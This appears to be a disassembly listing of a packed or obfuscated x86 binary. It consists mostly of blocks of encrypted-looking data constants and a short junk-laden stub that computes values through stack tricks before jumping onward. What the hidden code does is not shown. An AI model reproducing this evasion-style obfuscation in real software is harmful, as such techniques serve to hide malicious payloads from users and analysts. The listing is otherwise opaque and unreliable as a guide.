		dd 0B7A8527Ah, 0E355CA2Ah, 0D4C15F4Ah, 5FE0EAF8h, 0D2D43BD1h
		dd 0B00DE71Ch, 29BFFFC4h, 82CF8493h, 28CBCC64h,	30AA4AA4h
		dd 0CF7BA33Ch, 4EA6332Dh, 0AE5740DCh, 7A87493Ch, 7663FF8Ah
		dd 65F802A6h, 6A06787Ch, 212F954Bh, 572B3BD2h, 0B12C64F1h
		dd 2EC0234h, 0D7F66F01h, 3BD193F0h, 6B41C2E4h, 71607B43h
		dd 0A98B3883h, 790CF84Dh, 5E20FCE5h, 0FAD2C7h, 180746Dh
		dd 0E83DEB91h, 891009FCh, 8DA01A14h, 0F26EE014h, 918820E5h
		dd 0D1AEB9FCh, 0DC29AF3Bh, 23CECB64h, 0CD24BDB1h, 6C0FF568h
		dd 23D6BE1Fh, 823A920Fh, 6C05D4AEh, 0A1FDF906h,	0AD5643DFh
		dd 0EB3A4B3Dh, 85120EF9h, 4E4BE799h, 0AF2A43B5h, 573D9E56h
		dd 0F0F88A4h, 8B316F1Bh, 7F3BD1F8h, 47F69D59h, 4C23AE2Bh
		dd 0C4862E87h, 196E650Dh, 885005C4h, 9E3B34C6h,	7625D153h
		dd 59h,	2BB91555h, 1C3641A1h, 50E31395h, 7A428A58h, 54CA7155h
		dd 0AE637B47h, 155D04F0h, 41A12BB9h, 13951C36h,	26A937E3h
		dd 1A1C3641h, 0C6D34872h, 913BA92Bh, 851C3641h,	15468D63h
		dd 1C37EDADh, 29CD1948h, 2A474E85h, 637024AFh, 6875EB15h
		dd 7EF0789h, 30h, 0C4862E48h, 9B9150Dh,	0ED47B79h, 1C3619A4h
		dd 0D7C2FEA0h, 16AC4871h, 1C35D4AFh, 15834EE2h,	4EAD15BEh
		dd 0D51D796Ch, 15088272h, 6370458Ch, 364BF72Bh,	0E7A32B1Ch
		dd 363413B9h, 0E1E1071Ch, 7CC235h, 0B9A155C2h, 0FFFFFD5Ch
		dd 41A52B1Ah, 0F6BC1C36h, 7EF16734h, 0DE3FE73h,	0EDD70DC1h
		dd 0E91C3641h, 20B02FC7h, 1C36419Ah, 6417FD4Eh,	0BCDCECBh
		dd 535D16h, 0DC246B96h,	0F6BE8912h, 0A719BD34h,	5AE80C89h
		dd 5E5FA1B7h, 819A24EAh, 9B5BDD14h, 507D5E46h, 17CBA63Ah
		dd 1F2h, 0ABAD1578h, 0D426DEEAh, 0AAD43B3h, 211C3637h
		dd 0E8E59096h, 86172528h, 0D73E6468h, 17150337h, 3C6F0167h
		dd 0C72F60A6h, 52069719h, 0BA009EDDh, 0AE1300D3h, 0B92BC628h
		dd 42B63DA4h, 0B43FB22Fh, 0BB2639E1h, 923AB438h, 0CDE4614Ch
		dd 9551570Bh, 0E9A0562Ah, 0A806F073h, 3600000Dh, 7AFE9F04h
		dd 0DFA1FAE7h, 90485540h, 0DA9EFF98h, 4E455643h, 0C5D44D3Dh
		dd 8E0B20D8h, 0C8D54B0Dh, 88110DD3h, 33711D13h,	12FAFD89h
		dd 476B507Dh, 35A2BE2Bh, 72E913BBh, 83108F67h, 0C745830h
		dd 0EA846841h, 7F660D7Eh, 1F39F3CFh, 20BE6A8Ah,	150CF210h
		dd 0B04A8224h, 4DCF22BFh, 64FB05A9h, 0C35C2479h, 0A9484DE6h
		dd 0B62AC927h, 0A6332DBAh, 0CC27C94Bh, 309C743Fh, 0C7B3C772h
		dd 0EBF9BD0Bh, 1C27A3E1h, 352DD3D5h, 25CB4DA4h,	0AE744CC1h
		dd 0E8D251E9h, 0D0Fh, 811ABF9Dh, 267762FFh, 7B20BDB2h
		dd 2F6C6D05h, 7429B0A9h, 2138D2A7h, 61DE3B8h, 0D8560A93h
		dd 21EE2BBh, 6C200895h,	0FAFD8C36h, 785B8812h, 43AE2B47h
		dd 9935EDB8h, 364E00Bh,	89129415h, 5D3E5BD7h, 6F5F3782h
		dd 0D84E3631h, 148CF40Bh, 935873CBh, 11974DA9h,	0B12C43BDh
		dd 128FA31Dh, 0C4995DDFh, 3D78F00Ah, 27B21DA7h,	5997191Ch
		dd 0EA0A8FA7h, 0FE2FF70h, 0CBFE136Bh, 0C0009D93h, 0DF17AEC6h
		dd 9E8F16Dh, 5B732B7Eh,	0D1634F2Fh, 9E3F11AAh, 0D981C856h
		dd 717714F4h, 0DB7C3675h, 12FCA7F2h, 0C67h, 396247F5h
		dd 6E2FAAC7h, 336875EAh, 7724B5ADh, 2C716801h, 0F9701A6Fh
		dd 2E45BBE0h, 0F06EF2ABh, 2A46BAE3h, 9438F0ADh,	0FAFC644Eh
		dd 90336012h, 43AE2B47h, 0FB5EB9Fh, 471C3642h, 951BA92Ch
		dd 0BC3D661h, 411A1DC3h, 880E1503h, 0C9D04D13h,	86130CD4h
		dd 9B2E3615h, 41B903A1h, 2BAD1C36h, 7AF709C5h, 97F3975Fh
		dd 0BD2A8AE7h, 35489D27h, 0AB17991Ch, 1EE09853h, 0CD639300h
		dd 15030C0Ah, 642FB808h, 0AC804B6Eh, 0B8149A48h, 1FE4CE14h
		dd 0CEE01301h, 15AD4350h, 0DB9A633Fh, 41C034E6h, 9B3F19Dh
		dd 0FD1300D6h, 43851BDBh, 41300D5h, 739AB3A1h, 0F4928565h
		dd 8Dh,	8D2A47D3h, 36416D57h, 0A947691Ch, 3E5BD64Ah, 0C8C02E8Eh
		dd 571CDA0Bh, 0B4AC209Fh, 0C15CD023h, 0E9029AAAh, 0CC2244CDh
		dd 0FDA5F0CFh, 527A7465h, 312518Ch, 837D5115h, 0CEF4EEEBh
		dd 0CA1300D4h, 539D3A34h, 0FBEBEDA3h, 0F2D543A6h, 58C2AC37h
		dd 0E600000Bh, 8A4E4F74h, 0CF910A97h, 0A0584550h, 0CA8E0F88h
		dd 5E554653h, 0D5C45D2Dh, 7E1B10C8h, 0D8C55B1Dh, 0B8213DC3h
		dd 3A1EDE3h, 12FAFBB9h,	479B20ADh, 0F4EEAF2Ah, 4Fh, 0BF2A4755h
		dd 3AB937A2h, 8A421AADh, 3526954h, 9D494F15h, 0F2D4E83Ah
		dd 1600A3h, 8E00000Bh, 0E29607ACh, 9749524Fh, 0D8A0FD98h
		dd 92465740h, 969DFE9Bh, 8D0C25E5h, 0C6D34810h,	900D23D5h
		dd 0C0D9550Bh, 0B99F5DBh, 12FAFBC1h, 47A328B5h,	6A1EAE2Bh
		dd 0F7C09C12h, 8D5767F2h, 1C361727h, 7F455B23h,	7B1C3617h
		dd 0F47B7B75h, 0DBF3EC80h, 0A0544DE1h, 6E1A8421h, 36178A30h
		dd 9C587E1Ch, 517C5D47h, 16895028h, 216h, 15344975h, 6845DA82h
		dd 0E709E7F0h, 558AB9E7h, 686E1503h, 6A06F8B4h,	72FB896Dh
		dd 4DE66CD3h, 902AA27Ah, 48F40099h, 609D4B9Ah, 44AF311Ah
		dd 2C44ECB7h, 3AC448ABh, 0B83CB724h, 16089636h,	0EA217699h
		dd 7AF608C4h, 0A4B8405Dh, 0B202AB3Bh, 189BE44Fh, 0A3A2Eh
		dd 4D6AC800h, 0C958850h, 4B56C98Fh, 1968E52h, 4C4DE49Ch
		dd 5337444Fh, 1ADEBFDAh, 51079401h, 27D9C2DFh, 1B0D8E0Bh
		dd 0FA872D73h, 528312FAh, 2BB91571h, 1C3641A1h,	69E31395h
		dd 7906EDF4h, 6456762Eh, 0D0FAA8CFh, 0C41C3641h, 0A325CC22h
		dd 0D9E3A753h, 24985B46h, 0DF619009h, 0C24FE511h, 42150D74h
		dd 625C309Ch, 0B729CDCAh, 0FC8419BCh, 0DB7F7267h, 0A3534EE1h
		dd 1CD8510h, 0E9BEC6C1h, 0C72F6BBEh, 0A9AE7D23h, 24CA0BC7h
		dd 561D16A8h, 27958248h, 7E70761Ch, 5E647A4Eh, 5A1C2795h
		dd 28B5AA54h, 0DAAF47C9h, 69880D26h, 865E7BF7h,	0E9AE82D5h
		dd 804129C8h, 0E000009h, 6216872Ch, 17C9D2CFh, 58207D18h
		dd 12C6D7C0h, 161D7E1Bh, 0D8CA565h, 4653C890h, 108DA355h
		dd 4059D58Bh, 8B19755Bh, 12FAF941h, 0DF23A835h,	3641C705h
		dd 6277EF1Ch, 94051D8Fh, 0BFA5F85Dh, 6F55C6BCh,	0F6AEF9ACh
		dd 5D79C8D6h, 597F1503h, 0C9D44B75h, 0E8A0F3D4h, 0C5EFBEE4h
		dd 0E3050BCCh, 445DD1EBh, 148DA157h, 0A28E21D0h, 0DF57CE9h
		dd 90Bh, 7D1EBB99h, 227B66FBh, 0C7D4C15Eh, 1B801911h, 0D0CDCC65h
		dd 5DD4B6C3h, 82995F3Ch, 5CD28617h, 869A5E3Fh, 0CC8419h
		dd 0FAF9D8E2h, 0FCBFCC12h, 6673EB15h, 41BE008Eh, 72EE1C36h
		dd 7F256965h, 1C364135h, 7247AF31h, 0E8D210BCh,	0DC1C3641h
		dd 41C00A98h, 32B41C36h, 1AAD38BCh, 2FC2DF52h, 3F8B43ADh
		dd 0E2FF718Bh, 3641BA00h, 0CC28AE1Ch, 30D8E36h,	6C608615h
		dd 56CFDC52h, 68F0AD43h, 0DBE5E9F6h, 1F9E5643h,	87E37h
		dd 0EB159800h, 0F98C6875h, 0C0BDC8AEh, 0EDDF7000h, 48F3CB03h
		dd 0FC7C8BD9h, 315D01F5h, 0F201948Fh, 35F8866Eh, 0EB150269h
		dd 189E2EC5h, 0D913006Ch, 8EBF988Ch, 0D99285CEh, 15Fh
		dd 74EB15BAh, 1D138D69h, 64FF7180h, 0B0DC8271h,	3641C8F2h
		dd 0A625BA1Ch, 2F37A67Ch, 69E31395h, 0A0E0ECF5h, 0F5574B18h
		dd 1F9E5649h, 7526B3ADh, 5C706D03h, 0BB357C24h,	24D08643h
		dd 0CD99129Dh, 35F1E301h, 0E3051C36h, 0BB019FEBh, 0AF1C3635h
		dd 0D246CD29h, 3FB1405Dh, 2DACC520h, 45AC42C6h,	83664EAFh
		dd 0D5A09401h, 0C2D74E5Bh, 77E96F2Ch, 0AFF9876Ah, 8F1C3636h
		dd 46EC0792h, 36353298h, 7E80261Ch, 4BFBF6E3h, 7DB6428Fh
		dd 33D00AC8h, 6FDCA641h, 5F7CF285h, 0C4D54D6Fh,	0DC55AB2Dh
		dd 42B236BDh, 15D1DA65h, 6AA92BB9h, 0B8D1C35h, 53CFFBC3h
		dd 4AE61B16h, 36182E94h, 6A842A1Ch, 9A91038Ah, 16A89EFFh
		dd 7908C19h, 98930DE9h,	0EE82F6FDh, 8B756C01h, 0AE90792h
		dd 30DBC91Ah, 23B0AE3Bh, 0F9A24CD0h, 0AE9EC87h,	5A722A7Dh
		dd 184A702Eh, 983E1C36h, 0B3F2B05Ch, 69150333h,	89A25647h
		dd 515AE50Ch, 2DAB3995h, 1113010Ah, 2774648Fh, 0C4D14A3Dh
		dd 8F0A21D7h, 14CCD764h, 9EF2AB8h, 0BB0F0BCEh, 360D9F25h
		dd 0ADF39B1Ch, 1C360E07h, 0E313DD03h, 9923AB2Dh, 0D25EF84h
		dd 3234B968h, 43B335BCh, 6C79F266h, 680EE5F2h, 35E2903Ah
		dd 8C62841Ch, 0A9C73962h, 2EBC6F2Ch, 0D50BC39Bh, 15036E7Eh
		dd 0B7D747Ah, 0B9438B16h, 32B63DA4h, 2E46E5C2h,	892DC486h
		dd 0FEBCA339h, 0F3037996h, 35575B5Dh, 0A978B1Ch, 0DFFA75E7h
		dd 0B59F7C14h, 9C88DDB2h, 50E392BBh, 55D589h, 15B60000h
		dd 41A12BB9h, 13951C36h, 0EDF469E3h, 762C6006h,	1C36414Ch
		dd 0C058A648h, 2B911FD7h, 0DF1C3641h, 7EF3866Eh, 2C943A63h
		dd 869B422Ah, 6C54D81Bh, 975F47D6h, 364C0709h, 9463271Ch
		dd 9FFFFFFFh, 0BB3E70DFh, 57C8C65Bh, 541CA44Ah,	4C6993AEh
		dd 47731ADAh, 3A23AE2Bh, 0C4862E99h, 19EFE40Dh,	885005C4h
		dd 3AC3h, 0B9150400h, 3641A12Bh, 0E313951Ch, 478A5850h
		dd 2A47B915h, 0BA34A1BFh, 47AA2F44h, 19A331C5h,	171C3641h
		dd 0E80B8EA5h, 0BCE29064h, 47BE1515h, 7024AF2Ah, 30D163h
		dd 2E020000h, 150DC486h, 8C6772EBh, 8C40EC08h, 12E2FF72h
		dd 3641367Ch, 0F2E16F1Ch, 2A47BE15h, 809D1FAFh,	6A56DA19h
		dd 0A722A4DFh, 55FCF8D1h, 0B9156370h, 3641A12Bh, 0BB019F1Ch
		dd 0AF1C3641h, 0E1159B29h, 0C8B7F06Fh, 85251310h, 13A1509Eh
		dd 1C3573A9h, 7104F05Dh, 347FF3FEh, 370E03C7h, 0C32EC02Dh
		dd 4EEEAF41h, 1C35D912h, 24BA0EBEh, 1C35C69Eh, 0F8E0149Ah
		dd 0FFFFF44Fh, 0BF2A4759h, 3DBF32A7h, 8844EAB3h, 5AAF0338h
		dd 0BD97E78h, 1C362DC1h, 0A31870B3h, 4D773AEAh,	72CA371Dh
		dd 0B03EC3C1h, 2EE6B144h, 0C2B5009Eh, 25CB1502h, 286428CEh
		dd 0BA507Ah, 40A24413h,	1300BA7Ah, 56173A6Eh, 15DC9C4Ah
		dd 43851BDBh, 7313008Ah, 6174EFFAh, 11E00E92h, 0DE15809Fh
		dd 0B4B79DEEh, 0C19A8ADBh, 9285B48Ch, 18DBh, 1C15A700h
		dd 2F2767Dh, 0BD15Bh, 0D1FD0000h, 3641A913h, 0FBFB9D1Ch
		dd 0C39B2E54h, 6122D50Bh, 10961503h, 0E7F26FE1h, 1EB726B6h
		dd 67F91301h, 0C15F217Ah, 49791DD4h, 0A2CC3F75h, 74ED13DFh
		dd 0EA0A8E65h, 0FF9C9672h, 0CFCC6215h, 8DA8D8CEh, 0BA68B036h
		dd 0B3AF21D5h, 1914A626h, 69FF7480h, 0A0E0ECF5h, 0C5664A07h
		dd 0F4AA22F5h, 130113CEh, 63D024CAh, 8B483C89h,	64CCF33h
		dd 9E5677D1h, 0B9B7302Ch, 9D53D51Ch, 76F5CD81h,	0CDF7ADD3h
		dd 0C91300F5h, 0DACD9B27h, 190FAE46h, 88D005B4h, 0D9B3h
		dd 852E1400h, 0BEB50DC1h, 41DA1990h, 151CC333h,	3641E8CFh
		dd 3C97191Ch, 2F47B915h, 7C0F297Ch, 89679EEEh, 18E66Ah
		dd 1CD85C97h, 64746C75h, 23AE2B47h, 0F76A943Ah,	15630AEAh
		dd 8F6772EBh, 0F3DEAC04h, 0C419EFE4h, 0C6885005h, 443BD3F6h
		dd 0C345AC2Dh, 0CEE65DFFh, 4CA84653h, 4D9Dh, 0FFA5E900h
		dd 1F35C8B5h, 28C72FB1h, 0DC4862Eh, 2847B915h, 11BB49ADh
		dd 51C3642h, 0B915F0E3h, 48AB2E47h, 0B8253AC4h,	0A03FB739h
		dd 0A3BF2A47h, 0B739BB36h, 76EB151Ch, 0FAF9E47Bh, 2B7C7876h
		dd 1C859923h, 0FCA353D5h, 22D1h, 862E0200h, 0CF150DC4h
		dd 1C3641E5h, 153F921Eh, 8E6570EBh, 5C7DF40Ah, 37E31395h
		dd 0AF2A4798h, 0D1637024h, 0FFFFFF23h, 716C03FDh, 0B915DE85h
		dd 3641A12Bh, 0E313951Ch, 5ECF569h, 99029F93h, 0E301FBCEh
		dd 1C3641D9h, 688B1609h, 36B8DEE4h, 51C8F296h, 4F16AC48h
		dd 45150364h, 9C912BA3h, 9A48EE05h, 13011B30h, 886C8224h
		dd 1B557B09h, 8F161301h, 2369A4A5h, 0C1019285h,	5D4D1A22h
		dd 3937AC51h, 0AE7E498Eh, 5C05B440h, 0C6000000h, 6B76EB15h
		dd 0A0F87D57h, 995D4300h, 7EF3BB0Eh, 8D418D63h,	15E1FC73h
		dd 316907Fh, 0AF426415h, 0D69F21h, 1F54CF13h, 0D63B81h
		dd 47A92F13h, 0B62338ACh, 9480CD3Bh, 7F65C0D1h,	918C2E5Ah
		dd 0D6F0DA08h, 0C2E41300h, 65438A32h, 95279285h, 6EF20198h
		dd 0FFDF86h, 15B00000h,	0E17875EBh, 79FBF6F8h, 726F037Dh
		dd 0F1AFDB7Fh, 1C3641CBh, 4CE719BFh, 0CE26AA49h, 1DD4C55Ch
		dd 0C72AB7ABh, 0E68E5B23h, 427E1B13h, 0EA0ACE95h, 23C1FC70h
		dd 1C357199h, 0B8E50B8Dh, 3575E624h, 85120E1Ch,	1DB8B749h
		dd 0E07C04D9h, 2656FCF7h, 1B6ED04Bh, 5E647AA4h,	5A1C3552h
		dd 0C75A9A54h, 9B3C34FCh, 0B21AD458h, 27F71ECh,	4D812715h
		dd 0D71FBAB3h, 0BEB24C02h, 7742D521h, 0C0712F9Fh, 0B40BCC32h
		dd 43AD2A42h, 2F7F3F8Bh, 3FE77E93h, 9E2A904Eh, 781E1C33h
		dd 150C7E76h, 0C8611784h, 8214AE1h, 0E64F675Fh,	8DC12DCh
		dd 0E9A2527Fh, 20EBD35Eh, 0AE000002h, 276278Ch,	0B729726Fh
		dd 0F8801DB8h, 0B2267760h, 0B67D1EBBh, 0AD2C45C5h, 0E6F368F0h
		dd 0B02D43B5h
		dd 0E0F975EBh, 2BB915BBh, 12FAF2A1h, 47C30895h,	6EF2AB2Eh
		dd 0D7E9E5F2h, 4D933B5Eh, 1C364167h, 0E4B93D63h, 74EB15EFh
		dd 0EE068A69h, 54785063h, 3717F8Eh, 80737515h, 111CEF0h
		dd 2E168F13h, 8529E02Dh, 0AA8792h, 47480000h, 5E1EAE2Bh
		dd 0A10C82DDh, 5BE212C3h, 8A6970E9h, 363B18FAh,	7AB6061Ch
		dd 0C5A6A1E8h, 918DFFF7h, 6412B8E6h, 0E0061C35h, 0F5998D0Eh
		dd 356405AFh, 17DF011Ch, 0E11089A5h, 879B4356h,	9B55D71Ah
		dd 8FF26D33h, 0A61502h,	21F9CC9Bh, 40DFE1ADh, 0DA1A9E55h
		dd 0CC00C244h, 1CB0360Bh, 8D0E8BA2h, 9F4752CBh,	0E9A21A1Eh
		dd 444A34BFh, 0D2000001h, 0A65A4360h, 0CB8D0E8Bh, 8C544954h
		dd 0E69A0394h, 4A514A4Fh, 0D9C05931h, 0B2273CC4h, 0DCF977E9h
		dd 0BC2539BFh, 0FFA5E9DFh, 12FAF1B5h, 479F24B1h, 6EF2AB2Eh
		dd 13B8E5F2h, 0A5BE2B47h, 0B13FC130h, 4552CE42h, 643C8758h
		dd 5D073A68h, 0EBED1503h, 5C45D9E3h, 0FE75873Fh, 609418DBh
		dd 8E6572EEh, 95B0B601h, 25DEB826h, 0D70DC12Fh,	0BD83622h
		dd 3BD80C92h, 0A2E9ADDEh, 0C517FFh, 0E1530000h,	0C21D7C4h
		dd 0DF500895h, 0F27D9C2h, 0D64F118Ah, 0A8E1DAC3h, 4D4E4BE2h
		dd 9805908Bh, 4C514EE0h, 9EFF9894h, 0F6BCE2AAh,	0F212FAF1h
		dd 9B2EE2E1h, 3DBF0BC3h, 0AD43B326h, 150D7594h,	0C00C2050h
		dd 14968F63h, 89A517DAh, 61900920h, 0D48C11DFh,	6D8F3F58h
		dd 890BE6F3h, 1F56E66Dh, 0DE406F15h, 4EE2957Fh,	0F1AFC861h
		dd 0BF8ED4CBh, 1CD719BFh, 93455698h, 0F8C2E09Fh, 28BF8ED4h
		dd 9618AA37h, 0D422A836h, 9016BF8Eh, 0D54C6E5Eh, 3FB130C4h
		dd 2DAAC227h, 22D3F795h, 0A24C8CD3h, 0F4614Fh, 0ECE0F975h
		dd 0B43F5CD2h, 3FE7C430h, 0BC37A2BDh, 2E42BC38h, 8BA31DB1h
		dd 7F67E60Eh, 3, 47844FD0h, 0CF41B015h,	39AB4653h, 0C537BA27h
		dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh
		dd 5D2AC9D0h, 81E68956h, 4C6h, 4BB5300h, 29000000h, 34875BDEh
		dd 57685C24h, 8900000Bh, 8568242Ch, 8900004Eh, 0BA52240Ch
		dd 93B387Eh, 545A5D52h,	83240C8Bh, 0EC8304C4h, 242C8904h
		dd 8B08418Fh, 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 2434FF5Ch, 4C4815Dh,	0E9000000h, 0FFFA2C94h,	7E1EB9A7h
		dd 3B51DEB8h, 50C50309h, 179D85C6h, 68470935h, 0CF381725h
		dd 0EC9B5FFh, 858D0935h, 9353898h, 0D88BD0FFh, 1F9D858Dh
		dd 68500935h, 104h, 85C6D3FFh, 935179Dh, 0F8BF6853h, 0B5FF8307h
		dd 9350EC9h, 3898858Dh,	0D0FF0935h, 365F8589h, 0BD83093Bh
		dd 9352365h, 0B840F00h,	8B000000h, 352DD19Dh, 5E909h, 0BB0000h
		dd 68000000h, 100h, 3663B58Dh, 5356093Bh, 4CD95FFh, 0B58D0935h
		dd 93B3663h, 1E9F003h, 4E000000h, 0F5C3E80h, 984h, 2F3E8000h
		dd 0FFED850Fh, 6C6FFFFh, 63858D00h, 50093B36h, 365F95FFh
		dd 0FF58093Bh, 18AFA2E0h, 5B77A82Fh, 0C4A69735h, 989E0034h
		dd 294A7302h, 9904B635h, 6076ED6Bh, 0D8638316h,	52957733h
		dd 843F0135h, 1CDB4719h, 0D704EB25h, 0E94DD9C6h, 5A0h
		dd 19822715h, 0CECFCA67h, 1388150Ah, 0D7C4D54Dh, 0C910821h
		dd 99907A0Fh, 4EE59B00h, 908E524Bh, 4AE69A03h, 3458504Dh
		dd 0FAEE446Eh, 30934012h, 7875EB15h, 79FBF6E3h,	8918977h
		dd 1D8F67E9h, 4C349801h, 29C36684h, 0F37A7A16h,	0ACF1E881h
		dd 2F9F3834h, 0EB06938Dh, 92068D69h, 7EF2019Eh,	89FBF6E3h
		dd 77E90891h, 0A917DAFFh, 60AD483Ch, 0C86417FDh, 63FDFFCFh
		dd 0FDF97B76h, 0D9C65820h, 0B5223CC4h, 4451CA3Eh, 0B9243BADh
		dd 2CA9C63Ah, 1E0657C5h, 0C03E892Dh, 4DA3853Ah,	0BFEE637h
		dd 4D138815h, 0FA04C8D1h, 901B4C67h, 6911086Ah,	0CE86C87h
		dd 3FD0F785h, 0F1D51C36h, 7FA05091h, 8684EB29h,	0D282B129h
		dd 40CDF5FBh, 67C6876Ah, 967ED323h, 50A158B5h, 77E81289h
		dd 0F105876Ah, 5B4Ah, 2B478900h, 0DF9F43AEh, 83BB6070h
		dd 4EE41067h, 1C35D566h, 0DA19869Ah, 23CECB66h,	6220B9B1h
		dd 6B6803F1h, 37A2B943h, 0C98272BFh, 89506584h,	1E3h, 2A47A400h
		dd 5DD044AFh, 0B909AD44h, 0C54057E1h, 6CDE16B1h, 0A910E3F4h
		dd 718B483Ch, 9812E2FFh, 0F97F1C85h, 2C1F7C65h,	23AB2E47h
		dd 0EC8799h, 20F747DBh,	0C7777A74h, 7B2B72D0h, 0FEF6F8EBh
		dd 0F1AFDB7Fh, 1C354ECBh, 787B66FBh, 2CC8CEF4h,	0CF22BFB2h
		dd 7500F461h, 0CFF1DDFCh, 0D8B54154h, 3B930C20h, 0D8BD9D83h
		dd 0F501708Ch, 7865FA6Eh, 270D9879h, 50DEF726h,	699089h
		dd 153F0000h, 41A12BB9h, 13951C36h, 0E9F069E3h,	0FC99960Ah
		dd 44B690F5h, 0F946AE2Bh, 66E4E0Bh, 0E072459Bh,	908903F3h
		dd 55CC9409h, 0DA388844h, 3DAF0552h, 0C335BC38h, 546000ABh
		dd 0DF2F6A8Fh, 659B5540h, 0D120CECBh, 0CE8F75F0h, 8950738Fh
		dd 36F8h, 0EB15D700h, 138D6974h, 747F1Ah, 0EA82716Eh, 0C9602B19h
		dd 47E8CBD0h, 0B444AF2Ah, 1C364211h, 3E1F0518h,	894FFA0Fh
		dd 0A58h, 9D4A3200h, 0EE15E4D6h, 47C7668Eh, 0A046AD28h
		dd 0B01C7DE0h, 2841C9CCh, 45B73FB1h, 0EEB78229h, 0A5102CFAh
		dd 1AD9C45Bh, 0AB995896h, 0D3F9A7E3h, 0C71C35C2h, 9480D521h
		dd 7B534EE1h, 0CC3E881h, 744167E9h, 2BAD44AAh, 4651EECBh
		dd 708A3E8Eh, 8F11E0F9h, 0B60ED967h, 0CAF21502h, 0B9AE14h
		dd 0EA04AA13h, 999507h,	2249E59Bh, 990F91E4h, 25CC22B2h
		dd 99F74181h, 2A70A53Ah, 0F9034CAh, 0A8C01301h,	0D850C42Fh
		dd 0FBD079Dh, 37B91301h, 52D33AB9h, 0C8558762h,	0AC3529DCh
		dd 0ECF569EFh, 129F9305h, 7B415F1Eh, 6F13010Fh,	0E86C8769h
		dd 747A1F16h, 0CACF6658h, 0D251A527h, 7803F162h, 8A170BE4h
		dd 920BE567h, 852B6DA0h, 18DFA92h, 2ED90000h, 0CDA959Bh
		dd 0F3D1A2FDh, 813D1FDh, 6150321h, 3E591BB6h, 46D8E74Fh
		dd 0B15F9759h, 0DC50C42Fh, 21BF0BC3h, 1301099Bh, 10ED098Fh
		dd 1089A416h, 8F6277EEh, 0FB77E90Dh, 4D6F13DEh,	0B32DC9D0h
		dd 0AF3C32BFh, 4CD023B6h, 23CD4FA2h, 1F360D0h, 0CA7BA44h
		dd 0BACC9B79h, 3EB53B92h, 0ACC03ABAh, 85C86A33h, 0E29285B8h
		dd 67h,	0C7872EB1h, 2739C307h, 0AAC537BAh, 9F35C12Fh, 1C364145h
		dd 0C4DD516Bh, 954BAB2Dh, 4209B3F1h, 0DBFD1C36h, 36A707E7h
		dd 8A644FE3h, 6FF3D967h, 0F231C35h, 0FAB0BB64h,	886640E9h
		dd 5A7FF769h, 0E60D8AA4h, 33361E7Fh, 836F55ACh,	1C705C2Ch
		dd 35F43C86h, 3EB6381Ch, 0F4EE049Ah, 0E40A1C35h, 0B9CBB7h
		dd 15FC0000h, 0B3770EBh, 4ED6520Ch, 0A631C52Bh,	4D933B13h
		dd 1502A3EAh, 43A08ADEh, 0B60E7FE3h, 98E9FFB2h,	0E7DB15C8h
		dd 0A52369D8h, 0DCF0FED5h, 0A2524FE2h, 2CB5A91Bh, 6C75E96Fh
		dd 4C762C60h, 521300F4h, 0F4268Ch, 467C2213h, 0D4C15EA0h
		dd 0D45B9B1Dh, 0F55344h, 0B915B913h, 0F4A12Bh, 0E3139513h
		dd 5FD3A68Eh, 3B8E5942h, 0BA356B63h, 680BD7C3h,	39BDDA56h
		dd 0E88E658Bh, 76342798h, 11E5A464h, 0B616839Fh, 3A2B806h
		dd 0CA2A8CB9h, 0FB15543h, 0E96B8613h, 20CCB80Dh, 0BF059B95h
		dd 0BB1C27AFh, 0CD13BB35h, 14FE7F12h, 3C7BF006h, 801CA6h
		dd 58961813h, 2E260596h, 0D50BC39Bh, 150D111Ah,	7519D8FEh
		dd 0EE418B19h, 0B33512FAh
		dd 4C55C943h, 0CB65574Fh, 55A123CEh, 0F26A47DBh, 58E80BE5h
		dd 4F998886h, 877262C3h, 0F9ADEEEBh, 866E6B07h,	978F1814h
		dd 0ACE0EC02h, 5C74CCF6h, 0CE26C8CEh, 5445DD4Fh, 765EAF9Dh
		dd 0A9F2EF83h, 539E3B37h, 36Bh,	844F9C00h, 41B01547h, 0AB4653CFh
		dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
		dd 0BF32AFC0h, 2AC9D04Dh, 3846685Dh, 34890000h,	0E6895624h
		dd 4C681h, 0EE830000h, 24348704h, 240C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, 3A7B4B7Bh
		push	ebx
		mov	ebx, 4D10047h
		shr	ebx, 5
		dec	ebx
		sub	ebx, 72CC5DF4h
		xor	ebx, 85EB0618h
		add	edi, ebx
		pop	ebx
		and	edi, 15837EC0h
		inc	edi
		not	edi
		dec	edi
		sub	edi, 0F5C4364Bh
		mov	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	7618h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, eax
		mov	[ebx], ecx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		dw 3EDCh
		dd 3B582BB8h, 0FFC50309h, 0D3E407E0h, 0D5806E63h, 0C65E9D4Eh
		dd 14E84Ch, 32940000h, 5F15FF7Bh, 0B1717C0Dh, 0AD3967F5h
		dd 1484FF64h, 2DB4A757h, 0D881665Ah, 0C281BF94h, 65C3h
		dd 0F236E981h, 0F62B2F94h, 5E8h, 0F7E1BE00h, 830F54ECh
		dd 2, 8B5BE78Ah, 0E381323Ch, 55A33F98h,	72B1F781h, 0F38073B7h
		dd 0D4C78155h, 564AC978h, 2840Fh, 61600000h, 0B7F78158h
		dd 5316B282h, 58D88B66h, 0B1323C89h, 81D98B17h,	8FAA67EEh
		dd 5840F54h, 66000000h,	8AC0F081h, 0AA63C681h, 0BF0F548Fh
		dd 0D0FE81C9h, 0FFFFF9Ah, 0FFFFA685h, 9026EBFFh, 0EC33B61Bh
		dd 6E558EAFh, 6C6C6474h, 6C6C642Eh, 46218800h, 0D25D3407h
		dd 5E740EA3h, 48h, 0
		dd 65EE900h, 0C6680000h, 0E9093B5Ah, 0FFFA251Ch, 3B5BB668h
		dd 2512E909h, 5B68FFFAh, 0E9093B5Ch, 0FFFA2508h, 3B5D0468h
